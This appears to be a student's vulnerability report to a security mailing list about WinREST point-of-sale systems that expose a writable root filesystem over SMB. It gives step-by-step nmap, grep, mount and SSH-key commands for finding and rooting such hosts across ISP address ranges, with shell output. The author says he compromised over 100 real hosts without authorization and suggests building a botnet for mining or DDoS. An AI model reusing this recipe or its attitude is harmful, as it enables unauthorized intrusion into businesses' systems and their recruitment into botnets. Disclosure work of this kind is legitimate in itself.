So a year back I was massively scanning internet. This case ISPs IPs blocks where you can find easily at RIPE for example. Then I found some interesting hosts where SMB were open and the ACL is totally open to root file system with the same netbios name. All file system is writable. I was able to find some software of WinREST https://www.grupopie.com/frontoffice.html so I was amazed how a system like this is totaly open. So what I thought to do: Get root! how? First mount smb file share then created RSA key. I created a directory under root folder of authorised keys, edited the file of dropbear to make sure ssh daemon will run and done. Got root. How big this is? Well lets ask PIE group the company that makes this software… I made some shell scripts to automatically find vulnerable hosts and inject all files necessarily. First gather all subnets of ISPs then # nmap -sV --open -p139 -n -oN allopenhosts –iL ISPRIPENCCblocks Since we know WinREST is vulnerable by default we filter by hostname with # grep 'WINREST\|PINGWIN’ allopenhosts -B3 | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}’ Now we got a file with all hosts running winrest. Now run a script to read each line, mount with CIFS, and lets fun begin. You know own some hosts. Let me show you all. After you find some hosts # mount -t cifs -o user=nobody,password=nobody //IP OMITTED/Root /mnt/hack/ Then just ls: # ls /mnt/hack/ bin boot dev etc home images.scr lib lost+found mnt Photo proc root sbin sys tmp usr var Lets just touch something: /mnt/hack# touch omg ; ls bin boot dev etc home images.scr lib lost+found mnt omg Photo proc root sbin sys tmp usr var Omg. We can create files. Lets see root folder: root@hostname:/mnt/hack# cd root/ root@hostname:/mnt/hack/root# ls sq_bin sq_machines sq_modules sq_usr root@hostname:/mnt/hack/root# touch OMG root@hostname:/mnt/hack/root# ls OMG sq_bin sq_machines sq_modules sq_usr As I said now we own this. Easy generate RSA key with ssh-keygen and use it to authenticate as root. root@hostname:~# ssh IP OMITTED 0 ~ # ls OMG sq_bin* sq_machines* sq_modules* sq_usr* 0 ~ # uname -a Linux ws1t1 2.6.39.4-pie #15 SMP Wed Apr 30 12:39:28 WEST 2014 i686 GNU/Linux 0 ~ # cat /proc/cpuinfo processor : 0 vendor_id : CentaurHauls cpu family : 6 model : 13 model name : VIA C7 Processor 1500MHz stepping : 0 cpu MHz : 798.000 cache size : 128 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge cmov pat clflush acpi mmx fxsr sse sse2 tm nx up pni est tm2 xtpr rng rng_en ace ace_en ace2 ace2_en phe phe_en pmm pmm_en bogomips : 1596.00 clflush size : 64 cache_alignment : 64 address sizes : 36 bits physical, 32 bits virtual power management: Interesting part is you can build a botnet with this. It supports SSE SSE2 so probably you could code your own C code and run it like a daemon and you own a botnet. For what? I don’t care. Bitcoin mining maybe, DDoS whatever. 1 Year back I made this so automatically I gathered over 100 hosts. My first security report to a seclist I hope I got some feedback. --Vítor Silva up201402657@fc.up.pt Estudante | Student FACULDADE DE CIÊNCIAS DA UNIVERSIDADE DO PORTO Rua do Campo Alegre, s/n, 4169-007 Porto, Portugal www.fc.up.pt